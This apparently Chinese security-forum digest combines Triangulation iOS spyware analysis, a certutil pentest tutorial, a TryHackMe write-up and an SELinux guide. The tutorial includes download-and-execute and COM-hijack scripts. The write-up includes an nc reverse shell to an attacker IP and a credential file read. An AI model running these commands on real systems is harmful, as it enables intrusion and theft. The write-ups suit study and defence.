一旦攻击者收到这些文件,他们就会把它们从设备上删除,这样受害者就无法检查它们,也无法发现潜在的攻击迹象。在完成日志收集和删除后,攻击者向植入程序发送多个CRXPollRecords命令,指示它定期从/private/var/tmp目录中泄漏文件。上传到C2服务器的文件的名称应符合下列正则表达式: 具有这些名称的文件包含由模块产生的执行结果。这些模块通过CRXUpdateRecord和CRXRunRecord命令上传到受攻击的设备。 麦克风录音 最侵犯隐私的模块之一是麦克风录制模块,其名称为“msu3h”,研究人员认为3h代表三小时,默认录制时间。在执行时,它会解密(使用源自GTA IV哈希的自定义算法)其配置,但只有当电池电量超过10%时,它才会执行进一步的操作。 配置文件本身包含典型的配置数据,例如记录多长时间和用于加密记录的AES加密密钥,但也包含更具攻击性的参数,例如: 1.suspendOnDeviceInUse:设置当设备屏幕打开时是否应该停止录制; 2.syslogRelayOverride:设置捕获系统日志时是否录制音频。 录音使用Audio Queue API,声音块使用Speex编解码器进行压缩,然后使用AES进行加密。除了声音数据,每个录音都包含诊断信息,它有一个四字节的类型标识符,可以是: 钥匙串泄露 由于未知的原因,攻击者决定添加一个额外的钥匙串泄露模块,尽管这样的功能已经存在于TriangleDB中。这个钥匙串模块与TriangleDB中的逻辑相同,但主要基于iphone-dataprotection.keychainviewer项目中的代码。钥匙串(英文:Keychain)是苹果公司Mac OS中的密码管理系统。它在MacOS 8.6中被导入,并且包括在了所有后续的Mac OS版本中,包括Mac OS X。一个钥匙串可以包含多种类型的数据:密码(包括网站,FTP服务器,SSH帐户,网络共享,无线网络,群组软件,加密磁盘镜像等),私钥,电子证书和加密笔记等。 SQLite窃取模块 iOS上的许多应用使用SQLite来存储它们的内部数据。因此,攻击者实现能够从各种SQLite数据库窃取数据的模块也就不足为奇了。所有这些模块都具有相同的代码库,并且包含要执行的不同SQL查询。同样,它们的配置是加密的。当它被解密时,只能找到标准变量,如文件路径,AES密钥,查询字符串等。 这些模块的代码相当奇特,例如,攻击者在fopen()函数周围实现了一个包装器,添加了Z标志(表明创建的文件应该经过aes加密和zlib压缩),并与标准w(写)标志结合使用,如下图所示: 同样有趣的是,SQLite窃取模块包含针对不同iOS版本的三个代码版本:低于8.0、介于8.0和9.0之间、9.0及更高版本。 研究人员找到的每个模块执行不同的SQL数据库查询。例如,有一个模块处理来自knowledgeec .db数据库的应用程序使用数据。另一个模块提取与照片相关的元数据,例如照片中是否有孩子,该人是男是女(见下图),以及从媒体文件中自动生成的文本。 攻击者对WhatsApp、SMS和Telegram的信息也表现出了兴趣,这也不足为奇,因为研究人员也发现了窃取这些数据的模块。 位置监控模块 这个模块在一个单独的线程中运行,并试图模拟被授权使用配置中指定的位置服务的bundle(例如/System/Library/LocationBundles/Routine.bundle)。除了使用GPS确定位置外,它还使用GSM,通过CoreTelephony框架检索MCC (MobileCountryCode), MNC (MobileNetworkCode), LAC (LocationAreaCode)和CID (CellID)值。 使用gsm相关数据的一个原因是在没有GPS数据的情况下估计受害者的位置。 结论 Triangulation活动背后的攻击者非常小心地避免被发现。他们在攻击链中引入了两个验证器,以确保漏洞和植入程序不会被传递给安全研究人员。此外,麦克风录音可以调整为在屏幕被使用时停止。位置跟踪器模块可能不使用标准的GPS功能,如果这是不可用的,而是使用来自GSM网络的元数据。 攻击者还表现出对iOS内部的深刻理解,因为他们在攻击过程中使用了未记录的私有api。它们还在一些模块中实现了对8.0之前iOS版本的支持。回想一下,这些模块在2015年之前被广泛使用,这表明这些模块的代码已经被使用了多长时间。 另外,这次攻击中使用的一些组件包含的代码可能表明它们也针对macOS系统,尽管截至发布日期,在macOS设备上没有遇到Triangulation活动痕迹。 尽管Triangulation活动是在高度隐蔽的情况下执行的,但研究人员仍然能够提取出完整的攻击链,以及植入程序和插件。如果你想知道研究人员是如何设法绕过攻击者引入的所有保护措施的,请点击此文。
  15. certutil在渗透测测试中的使用技巧 0x01 前言 最近在Casey Smith‏ @subTee的twitter上学到了关于certutil的一些利用技巧。本文将结合自己的一些经验,介绍certutil在渗透测试中的应用,对cmd下downloader的实现方法作补充。 0x02 certutil简介 用于备份证书服务管理,支持xp-win10 更多操作说明见https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx 0x03 渗透测试中的应用 1、downloader (1) 保存在当前路径,文件名称和下载文件名称相同 certutil -urlcache -split -f https://github.com/backlion/demo/blob/master/weblogic.py (2) 保存在当前路径,指定保存文件名称 certutil -urlcache -split -f https://github.com/backlion/demo/blob/master/weblogic.py test.py (3) 保存在缓存目录,名称随机 缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content certutil -urlcache -f https://github.com/backlion/demo/blob/master/weblogic.py 2、清除下载文件副本方法 (1) 方法一,直接删除缓存目录对应文件 如下图: (2)方法二,命令行: certutil -urlcache -f https://github.com/backlion/demo/blob/master/weblogic.py delete (3) 补充: 查看缓存项目: certutil.exe -urlcache * 如下图 3、实际测试 (1) powershell中的利用 测试系统安装Office软件,下载执行dll对应的powershell代码如下: $path="D:\test\msg1.dll" certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application")) $excel.RegisterXLL($path) 测试如下图 (2) 下载劫持com的sct的批处理文件 test.bat(这里批处理是利用到certutil下载sct文件劫持com弹出计算器): @echo off reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00 /ve /t REG_SZ /d Bandit /f 1>nul 2>&1 reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00\CLSID /ve /t REG_SZ /d {00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1 reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit /ve /t REG_SZ /d Bandit /f 1>nul 2>&1 reg add HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit\CLSID /ve /t REG_SZ /d {00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1 reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC} /ve /t REG_SZ /d Bandit /f 1>nul 2>&1 reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32 /ve /t REG_SZ /d C:\WINDOWS\system32\scrobj.dll /f 1>nul 2>&1 reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32 /v ThreadingModel /t REG_SZ /d Apartment /f 1>nul 2>&1 reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID /ve /t REG_SZ /d Bandit.1.00 /f 1>nul 2>&1 reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL /ve /t REG_SZ /d https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct /f 1>nul 2>&1 reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID /ve /t REG_SZ /d Bandit /f 1>nul 2>&1 reg add HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{372FCE38-4324-11D0-8810-00A0C903B83C}\TreatAs /ve /t REG_SZ /d {00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1 certutil 1>nul 2>&1 reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00 /f 1>nul 2>&1 reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit /f 1>nul 2>&1 reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC} /f 1>nul 2>&1 reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{372FCE38-4324-11D0-8810-00A0C903B83C}\TreatAs /f 1>nul 2>&1 echo Done! 这里测试的test.scr: 注意:在实战中需要替换该批处理文件中地址: https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct为你自己需要的sct(劫持com)文件 运行批处理如下: 4、计算文件hash (1) SHA1 certutil -hashfile msg1.dll (2) SHA256: certutil -hashfile msg1.dll SHA256 (3) MD5: certutil -hashfile msg1.dll MD5 5、base64编码转换 (1) base64编码: CertUtil -encode InFile OutFile (2) base64解码 CertUtil -decode InFile OutFile 注: 编码后的文件会添加两处标识信息: 文件头: -----BEGIN CERTIFICATE----- 文件尾: -----END CERTIFICATE----- 如下图 0x04 downloader常用方法 常用的cmd下downloader方法,相比来说,利用certUtil简便快捷,但是使用后需要注意清除缓存,路径如下: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content downloader常用方法如下: · certUtil · powershell · csc · vbs · JScript · hta · bitsadmin · wget · debug · ftp · ftfp 0x05 小结 本文介绍了certutil在渗透测试中的应用,详细介绍利用certutil作downloader的实现方法和检测方法 转载引用来自于:https://3gstudent.github.io
  16. 前言 房间地址:https://tryhackme.com/room/ignite 一家新成立的公司的网络服务器存在一些问题。 此次我将用Parror hack系统作为攻击机器 实战 靶机地址:10.10.178.214 先给咱的系统升一下root 吐槽一下Thm的VPN 有点拉胯 说明咱们连接不上他们的内网VPN 后来修了修,连上了好了我们开扫 开放了80端口 查看源代码 先登录上再说 可以看见直接文件上传漏洞 在上传之前我们先搜索一下Fuel CMS的漏洞 刚用Parror没有搜到Fuel CMS的漏洞 就用kali搜 漏洞其实还不少… 不过在此使用他们的漏洞我觉得不如自己上传shell 这里看到我们准备的shell 是不行的 所以我们只能用漏洞库的脚本shell了 这里看看他们的用法 在这里试一下 不过我们还是去kali或者parror那里去运行脚本 这里我更换了一个靶机地址:因为老是断 服了 我一怒之下给我的kali和parror都上了”魔法” 我们继续:分析一下脚本的使用方法 使用脚本: python3 50477.py -u http://10.10.234.58 开启监听: nc -nlvp 6666 反弹shell: nc后面是自己的攻击地址 rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.2.92.117 6666 >/tmp/f 不好意思这Thm靶场老断打一次靶场能断十几次 昨天因为这个老断我就没打,等我订阅结束之后就不打Thm打HTB了 先拿一个flag再说 刚才连接又断了 不过再次连接上我们在看一下根目录 根据开头的提示 database中数据库泄露 当然这也是CVE-2018-16763的一个漏洞 没有对用户的查看权限进行过滤 这时候我们就可以查看他数据库 cat /var/www/html/fuel/application/config/database.php 我们su root切换到root账户提示 必须来自一个终端环境 那我们就创建,这个在我之前博客里面有讲解,加固shell创建终端环境 export TERM=xterm python3 -c 'import pty;pty.spawn("/bin/bash")' ctrl+z stty raw -echo ; fg reset 回车 输入刚才数据库泄露的密码 OK让拿root.txt 等订阅过期就打HTB了 本来能秒的 VPN一直断打不了一点,上代理都掉,这次大概断了十几次
  17. 监控和限制对潜在恶意文件的访问可以使您的产品免遭黑客攻击、数据泄露和破坏。为了在基于Linux的环境中做到这一点,开发人员通常必须进行内核级修改,这实现起来很复杂,并且对系统来说存在风险。 在本文中,我们探讨了内核级修改的替代方案:安全增强型 Linux (SELinux) 中的自定义策略和沙箱。我们研究如何使用它们进行事件记录和监视、限制文件访问以及控制自定义沙箱内的系统调用。 为什么要限制 Linux 环境中的文件访问? 在创建软件解决方案时(无论是简单的驱动程序还是复杂的网络安全系统),保护您的产品免遭未经授权的访问非常重要。对于开发基于 Linux 的产品的团队来说,监视和管理数据和文件访问的常见原因包括: 有几种传统方法可以做到这一点:创建Linux 内核模块来挂钩文件操作、设置挂钩来监视和控制进程等。传统的限制访问方法通常需要高级技术专业知识,并且会给开发过程带来额外的复杂性。它们还可能向您的环境添加严重错误,因为它们通常需要内核级更改。这就是为什么只有当您需要对文件的访问权限进行细致的控制时,此类方法才有用。 当您只需要监视、允许或拒绝访问而不需要任何其他更改时,最好使用SELinux。该系统集成到 Linux 内核中,为开发人员提供强制访问控制的方法。SELinux 为 Linux 环境中的元素设置上下文并通过策略对其进行管理。SELinux 提供了一个强大的沙箱,允许您在有限的环境中执行进程。此环境利用 SELinux 策略来定义沙箱中运行的进程的约束和权限。使用此类策略可以让开发人员有效地增强其应用程序的安全状况。 使用 SELinux 管理文件访问有几个优点: · 简单的政策管理。SELinux 的策略文件是人类可读的,因此无需学习特定语法来编写策略。 · 精细的访问控制。您可以在策略中指定任何访问限制和权限。 · 可靠的文件隔离。为了控制对文件的访问,SELinux 将其放入沙箱中,将文件与环境的其余部分隔离。 · 简化访问管理。更改策略中的访问权限比实施和进行内核级修改要容易得多。 在详细探索如何使用 SELinux 之前,请确保有一个适合创建 SELinux 策略的环境。请注意,在本示例中,我们使用 Fedora Workstation 和 Red Hat Enterprise Linux 发行版。默认情况下,这些系统上启用了 SELinux,但最好在继续我们的指南之前仔细检查您的系统是否启用了 SELinux。 设置SELinux环境 在将 SELinux 策略应用于生产系统之前,请确保在测试或开发环境中执行此处描述的步骤。错误配置的策略可能会影响系统功能和安全性。 如果您的 Linux 发行版不包含 SELinux,您可以通过打开终端并以 root 用户身份执行以下命令来启用它: $ sudo dnf install selinux-policy-targeted安装完成后,重新启动系统。重新启动后,SELinux 将启用并在强制模式下运行。要确认其安装成功,请打开终端并执行以下命令: $ sestatus SELinux status: enabled SELinuxfs mount: /sys/fs/selinux SELinux root directory: /etc/selinux Loaded policy name: targeted Current mode: enforcing <<<<<<<<<< This line describes current mode Mode from config file: enforcing Policy MLS status: enabled Policy deny_unknown status: allowed Memory protection checking: actual (secure)使用 SELinux 对进程进行沙箱处理 默认情况下,沙箱工具利用多类别安全(MCS) 模型来实施细粒度的访问控制和进程隔离。该模型根据每个进程和文件的安全级别和类别为其分配唯一的安全标签。 让我们在沙箱中运行 /bin/bash 进程,以限制它访问敏感文件或执行某些命令。 要创建沙箱并在其中启动 /bin/bash,我们使用沙箱命令,如下所示: $ sandbox -H sandbox_test /bin/bash沙箱工具应用 SELinux 策略将进程限制在沙箱内。这些策略定义进程的访问权限、系统调用限制和文件限制。策略确保进程只能访问沙箱配置允许的资源并执行操作。在幕后,它们生成随机 MCS 编号并将其设置为我们进程的 SELinux 安全上下文。策略还标记了我们的流程可用的相应文件。 例如,将 SELinux 沙箱用于 /bin/bash 进程,主目录位于 sandbox_test 中,将导致ls -lZ我们的目录出现以下输出: $ ls -lZ | grep sandbox_test drwxr-xr-x. 2 user user unconfined_u:object_r:sandbox_file_t:s0:c146,c312 49 May 3 06:50 sandbox_test在我们的例子中,随机 MCS 数是c146和c312。/bin/bash 进程使用这些数字运行,根据沙箱源代码它将获取 SELinux 安全上下文执行命令: $ ps -eZ | grep bash unconfined_u:unconfined_r:sandbox_t:s0:c146,c312 172662 ? 00:00:00 bash该策略有效地将我们的 bash 进程限制在其主目录中。但是,此解决方案仅适用于特定文件夹,并限制对具有随机 MCS 编号的特定文件的访问。具有相同主文件夹的另一个沙盒 bash 会与此冲突。为了克服这一限制,我们可以利用沙箱工具及其源代码的知识来创建自定义 SELinux 策略,限制对特定 SELinux 类型的访问。 在接下来的部分中,我们将探讨两种类型的 SELinux 策略: · 宽松的策略,不会阻止任何连接,仅监视和记录安全事件,包括违规行为。当您需要测试、调试或研究文件时,宽松策略非常有用。 · 一种强制策略,用于建立文件的访问权限并限制任何禁止的活动。它对于建立访问管理和保护您的解决方案非常有用。 让我们从建立一个宽松的 SELinux 策略示例开始。 制定宽松政策 要为 /bin/bash 这样的简单进程创建 SELinux 策略,我们可以使用该sepolicy generate命令。让我们运行以下命令,为 /bin/bash 进程生成策略文件,并将其命名mybash: $ sudo sepolicy generate --application /bin/bash -n mybashmybash.te 文件包含我们策略的人类可读的 SELinux 规则。接下来,我们需要启用从 unconfined_t 域到自定义 mybash_t 域的转换。为此,我们将以下宏包含在 mybash.te 文件中: unconfined_run_to(mybash_t, mybash_exec_t)该宏允许在执行 /bin/bash 进程时在域之间进行转换,并使我们能够通过setexeccon为特定进程设置自定义 SELinux 域类型。 我们的策略文件现在如下所示: policy_module(mybash, 1.0.0) ######################################## # # Declarations # attribute_role mybash_roles; roleattribute system_r mybash_roles; type mybash_t; type mybash_exec_t; application_domain(mybash_t, mybash_exec_t) role mybash_roles types mybash_t; unconfined_run_to(mybash_t, mybash_exec_t) permissive mybash_t; ######################################## # # mybash local policy # allow mybash_t self:capability { chown setgid setuid }; allow mybash_t self:process { fork setpgid setrlimit signal_perms }; allow mybash_t self:fifo_file manage_fifo_file_perms; allow mybash_t self:unix_stream_socket create_stream_socket_perms; domain_use_interactive_fds(mybash_t) files_read_etc_files(mybash_t) auth_use_nsswitch(mybash_t) logging_send_syslog_msg(mybash_t) miscfiles_read_localization(mybash_t) sysnet_dns_name_resolve(mybash_t)要为 /bin/bash 进程安装此自定义策略并允许 /bin/bash 进程在指定的 SELinux 上下文下运行,让我们执行自动生成的脚本: $ sudo ./mybash.sh要直接从 bash shell 设置进程上下文,我们可以使用一个简单的代码片段。让我们创建一个新文件,将其命名为 set_context.c,并向其中添加以下代码: #include <selinux/selinux.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> int main(void) { security_context_t context_old = {0}; security_context_t context_new = {0}; if (getcon(&context_old) == -1) { printf("Failed to get context"); return 1; } printf("%s\n", context_old); if (setexeccon((security_context_t)"unconfined_u:unconfined_r:mybash_t:s0") == -1) { printf("Failed to set context errno %d\n", errno); return 1; } execve("/bin/bash", NULL, NULL); return 0; }现在我们将构建并运行此代码: $ gcc -o mybash set_context.c -lselinux $ ./mybash $此代码检索当前 SELinux 上下文,将新上下文设置为unconfined_u:unconfined_r:mybash_t:s0,然后使用更新的上下文执行 /bin/bash 进程。 现在我们对 /bin/bash 进程有了一个宽松的策略,并且可以在指定的 SELinux 上下文中执行它。让我们打开另一个终端并检查 /var/log/audit/audit.log。在这里我们可以看到bash启动后请求了什么样的权限: type=AVC msg=audit(1683645539.705:301246): avc: denied { append } for pid=173167 comm="bash" name=".bash_history" dev="dm-1" ino=1225470 scontext=unconfined_u:unconfined_r:mybash_t:s0 tcontext=unconfined_u:object_r:user_home_dir_t:s0 tclass=file permissive=1 type=SYSCALL msg=audit(1683645539.705:301246): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=55bdf355c5f0 a2=401 a3=0 items=0 ppid=172599 pid=173167 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=32 comm="bash" exe="/usr/bin/bash" subj=unconfined_u:unconfined_r:mybash_t:s0 key=(null)ARCH=x86_64 SYSCALL=openat AUID="sboy" UID="sboy" GID="sboy" EUID="sboy" SUID="sboy" FSUID="sboy" EGID="sboy" SGID="sboy" FSGID="sboy" type=AVC msg=audit(1683645539.705:301247): avc: denied { setattr } for pid=173167 comm="bash" name=".bash_history" dev="dm-1" ino=1225470 scontext=unconfined_u:unconfined_r:mybash_t:s0 tcontext=unconfined_u:object_r:user_home_dir_t:s0 tclass=file permissive=1 type=SYSCALL msg=audit(1683645539.705:301247): arch=c000003e syscall=92 success=yes exit=0 a0=55bdf355c5f0 a1=3e8 a2=3e8 a3=55bdf355c7a0 items=0 ppid=172599 pid=173167 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=32 comm="bash" exe="/usr/bin/bash" subj=unconfined_u:unconfined_r:mybash_t:s0 key=(null)ARCH=x86_64 SYSCALL=chown AUID="sboy" UID="sboy" GID="sboy" EUID="sboy" SUID="sboy" FSUID="sboy" EGID="sboy" SGID="sboy" FSGID="sboy"请注意包含所请求权限类型和模式的拒绝字段permissive=1,这实际上意味着此 SELinux 策略允许这些权限,并且只是在audit.log 中警告它们。 现在,让我们在自定义 bash 进程中执行 ls 命令,看看不带参数执行此命令需要什么: type=AVC msg=audit(1683645670.511:301248): avc: denied { read } for pid=173244 comm="ls" name="setcon" dev="dm-1" ino=1211972 scontext=unconfined_u:unconfined_r:mybash_t:s0 tcontext=unconfined_u:object_r:user_home_t:s0 tclass=dir permissive=1 type=SYSCALL msg=audit(1683645670.511:301248): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=562f22c913d0 a2=90800 a3=0 items=0 ppid=173219 pid=173244 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts2 ses=32 comm="ls" exe="/usr/bin/ls" subj=unconfined_u:unconfined_r:mybash_t:s0 key=(null)ARCH=x86_64 SYSCALL=openat AUID="sboy" UID="sboy" GID="sboy" EUID="sboy" SUID="sboy" FSUID="sboy" EGID="sboy" SGID="sboy" FSGID="sboy"有了ls,我们可以继续处理 /bin/bash 进程并了解如何使用 SELinux 强制执行访问控制。 制定执行政策 audit.log 文件中的 SELinux 日志描述了 /bin/bash 进程执行的操作。我们将通过注释掉“permissive”行并删除任何其他自动生成的权限来禁用自定义策略中的permissive 模式。此后,该策略将生效,这意味着 SELinux 将阻止所有不需要的访问尝试。 更新后的政策现在如下所示: policy_module(mybash, 1.0.0) ######################################## # # Declarations # attribute_role mybash_roles; roleattribute system_r mybash_roles; type mybash_t; type mybash_exec_t; application_domain(mybash_t, mybash_exec_t) role mybash_roles types mybash_t; unconfined_run_to(mybash_t, mybash_exec_t) #permissive mybash_t; ######################################## # # mybash local policy # #allow mybash_t self:capability { chown setgid setuid }; #allow mybash_t self:process { fork setpgid setrlimit signal_perms }; #allow mybash_t self:fifo_file manage_fifo_file_perms; #allow mybash_t self:unix_stream_socket create_stream_socket_perms; #domain_use_interactive_fds(mybash_t) #files_read_etc_files(mybash_t) #auth_use_nsswitch(mybash_t) #logging_send_syslog_msg(mybash_t)通过删除权限,我们有效地限制了 /bin/bash 进程的 SELinux 上下文。让我们安装更新的策略并尝试运行新的自定义 bash: $ sudo ./mybash.sh $ ./mybash但是,这只会在日志中产生一行: type=AVC msg=audit(1683646222.408:301270): avc: denied { entrypoint } for pid=173428 comm="mybash" path="/usr/bin/bash" dev="dm-1" ino=16959619 scontext=unconfined_u:unconfined_r:mybash_t:s0 tcontext=system_u:object_r:shell_exec_t:s0 tclass=file permissive=0不幸的是,我们的 bash 进程缺乏启动所需的权限。为了解决这个问题,让我们使用命令生成权限audit2allow 并更新我们的策略: $ echo 'type=AVC msg=audit(1683646222.408:301270): avc: denied { entrypoint } for pid=173428 comm="mybash" path="/usr/bin/bash" dev="dm-1" ino=16959619 scontext=unconfined_u:unconfined_r:mybash_t:s0 tcontext=system_u:object_r:shell_exec_t:s0 tclass=file permissive=0' | audit2allow -r require { type mybash_t; type shell_exec_t; class file entrypoint; } #============= mybash_t ============== allow mybash_t shell_exec_t:file entrypoint;接下来,让我们将生成的行添加到 mybash.te 文件的末尾并安装更新的策略: $ sudo ./mybash.sh $ ./mybash Segmentation fault即使进行这些修改后,bash 进程仍然无法启动,从而导致分段错误。所以我们需要将这一行添加到audit.log中: type=AVC msg=audit(1683646840.208:301287): avc: denied { map } for pid=173620 comm="bash" path="/usr/bin/bash" dev="dm-1" ino=16959619 scontext=unconfined_u:unconfined_r:mybash_t:s0 tcontext=system_u:object_r:shell_exec_t:s0 tclass=file permissive=0让我们重复一下权限生成步骤: $ echo 'type=AVC msg=audit(1683646840.208:301287): avc: denied { map } for pid=173620 comm="bash" path="/usr/bin/bash" dev="dm-1" ino=16959619 scontext=unconfined_u:unconfined_r:mybash_t:s0 tcontext=system_u:object_r:shell_exec_t:s0 tclass=file permissive=0' | audit2allow -r require { type shell_exec_t; type mybash_t; class file map; } #============= mybash_t ============== #!!!! This avc can be allowed using the boolean 'domain_can_mmap_files' allow mybash_t shell_exec_t:file map;现在我们可以更新 mybash.te 文件并再次运行它。我们仍然遇到分段错误,但在audit.log 中有一条新记录: type=AVC msg=audit(1683647173.571:301297): avc: denied { execute } for pid=173774 comm="bash" path="/usr/bin/bash" dev="dm-1" ino=16959619 scontext=unconfined_u:unconfined_r:mybash_t:s0 tcontext=system_u:object_r:shell_exec_t:s0 tclass=file permissive=0当我们再次生成权限后,mybash.te文件将合并启动/bin/bash进程的权限。现在,我们的最终政策允许启动该流程: policy_module(mybash, 1.0.0) ######################################## # # Declarations # attribute_role mybash_roles; roleattribute system_r mybash_roles; type mybash_t; type mybash_exec_t; application_domain(mybash_t, mybash_exec_t) role mybash_roles types mybash_t; unconfined_run_to(mybash_t, mybash_exec_t) require { type mybash_t; type shell_exec_t; class file entrypoint; class file map; class file execute; } #============= mybash_t ============== allow mybash_t shell_exec_t:file { map entrypoint execute };总体而言,此策略允许 mybash_t 域中的进程通过映射、作为入口点访问并执行它们来与 shell_exec_t 文件进行交互。该require 部分指定 mybash_t 文件类型与其他文件类型交互所需的权限。 这些allow 语句定义授予 mybash_t 域的权限。这个过程如下所示: allow mybash_t shell_exec_t:file map; - allows the "mybash_t" domain to map files of type "shell_exec_t". allow mybash_t shell_exec_t:file entrypoint; - allows the "mybash_t" domain to access files of type "shell_exec_t" as entry points. allow mybash_t shell_exec_t:file execute; - allows the "mybash_t" domain to execute files of type "shell_exec_t".最后,我们可以再次更新策略并在自定义域中启动 bash 进程: $ sudo ./mybash.sh $ ./mybash bash-5.1$ ls bash: child setpgid (173932 to 173932): Permission denied bash: /usr/bin/ls: Permission denied我们创建了自定义策略,允许我们在强制模式下运行可执行文件并管理其 SELinux 权限。这也使我们能够以宽容模式简单地监视进程操作并礼貌地管理应用程序。 通过这种方法,我们不需要在内核模块中实现自定义钩子来管理读/写操作,并且我们可以通过 SELinux 策略来管理进程操作。但是,我们只能以 SELinux 允许的方式执行此操作,因此我们必须使用 SELinux 文件类型并管理对它们的访问。 结论 监控和管理访问是保护任何产品的重要组成部分。对于 Linux 开发,访问管理通常基于内核级修改和挂钩,这使用起来很棘手,并且可能会引入稳定性问题。 相反,您的团队可以利用 SELinux 灵活的访问控制机制来定义自定义策略。此类策略可以帮助您的团队监控安全事件,并准确规定进程可以访问哪些文件类型以及允许进行哪些系统调用。
  18. 今年6月,卡巴斯基的研究者就发现有攻击者利用iMessage来传播恶意软件,iOS 15.7以及此前版本均受到影响。研究人员通过mvt-ios(iOS 移动验证工具包)分析受攻击的设备之后,发现他们可以通过iMessage发送信息,受害者在接收到信息之后,不需要任何用户交互,就能触发系统内漏洞,从而执行任意恶意代码。研究人员将这个攻击活动称为 "Triangulation活动 "。 Triangulation活动的首次公开报道请看这篇文章,正如研究人员在三角测量行动的第一篇文章中提到的,最初发现的受攻击设备正是在莫斯科总部工作的卡巴斯基员工。所有这些设备都连接到公司的Wi-Fi网络,这样研究人员就可以记录和检查网络流量。在花了一些时间调查Wireshark之后,研究人员最终发现了以下内容: 1.在表现出可疑行为之前,连接到iMessage服务器的设备通常负责接收信息和下载附件; 2.在下载了可能是附件的几千字节数据后,这些设备建立了与服务器backuprabbit[.]com的连接,在不到一分钟的时间内与服务器交换数据; 3.接下来,设备连接到以下服务器进行更长的会话: cloudsponcer[.]com snoweeanalytics[.]com topographyupdates[.]com unlimitedteacup[.]com、 virtuallaughing[.]com 4.设备重启后,所有可疑活动都停止了; 所有与服务器的通信都是通过HTTPS进行的,所以研究人员无法从流量中恢复任何额外的细节。 设备映像 由于所有的设备都触手可及,研究人员下一步就是检查它们的内容。不幸的是,研究时可用的取证采集软件基于checkra1n和类似的漏洞,不适用于运行iOS 15和16的现代处理器。 检查备份 研究人员下一步决定使用设备的iTunes备份来代替完整的设备映像,这一程序必须在相当保密的情况下进行,以免提醒攻击者。 由于研究人员不知道攻击者的确切能力,只能默认他们在监听设备的麦克风,阅读电子邮件和即时通信对话。所以,研究人员不得不亲自安排会议,把手机放在飞机模式下,有时放在法拉第包里。研究人员使用libimobiledevice的优秀工具来获取备份,并通过使用移动验证工具包构建事件时间轴来检查它们,该时间轴结合了文件系统时间戳和从各种系统数据库中提取的数据记录。研究人员专注于iMessage目录,因为早在2021年,Citizen Lab的研究人员通过检查这些目录中的文件发现了FORCEDENTRY漏洞。 Triangulation活动背后的攻击者非常隐蔽,研究人员在备份中没有发现任何漏洞利用的迹象,他们还搜索了恶意软件的可执行文件,但也没有找到。 不过,研究人员还是发现了可疑网络活动的时间戳。为此,他们开始寻找时间轴上发生在同一时间的重复事件。结果,研究人员发现了一个看起来像新指示器的东西,数据使用记录提到了一个名为“BackupAgent”的系统进程,不过这个进程根本不应该被执行,因为二进制文件在几年前就被弃用了。 在设备日志中观察到的来自BackupAgent进程的异常活动,研究人员在Triangulation 活动的第一篇文章中就分享过这个片段。 基于这个异常的发现,研究人员编写了第一版的triangle_check工具,它使研究人员能够快速确认设备的备份是否包含潜在攻击的痕迹。 试图拦截恶意iMessage 进一步查看事件时间轴,研究人员发现了第二个痕迹,在BackupAgent进程使用数据之前,修改了一个空的SMS附件目录。由于目录被修改了,但不包含任何文件,这通常意味着可以高度肯定最后一个操作是文件删除,有一个传入的附件,它被删除几秒后,名为BackupAgent的进程正在运行可疑的网络代码。 由于Triangulation 活动背后的攻击者似乎足够聪明,可以从受攻击的设备中删除恶意附件,因此研究人员决定尝试在iMessage传递过程中捕获传入消息。在寻找拦截imessage的方法时,研究人员发现了谷歌Project Zero团队编写的Frida脚本。它是为Mac电脑设计的,所以研究人员拿了一台备用的Mac mini,在上面安装了Frida。然后,研究人员要求几位目标同事用他们的苹果id登录Mac mini。这样,研究人员能够监控和拦截他们收到的imessage,接下来要做的就是等待攻击者再次攻击。 与此同时,研究人员积极监控SIEM日志,寻找可疑活动的痕迹。很快,研究人员就发现了熟悉的网络连接,这表明一款带有iMessage帐户的手机成功攻击。然而,当我们检查Mac 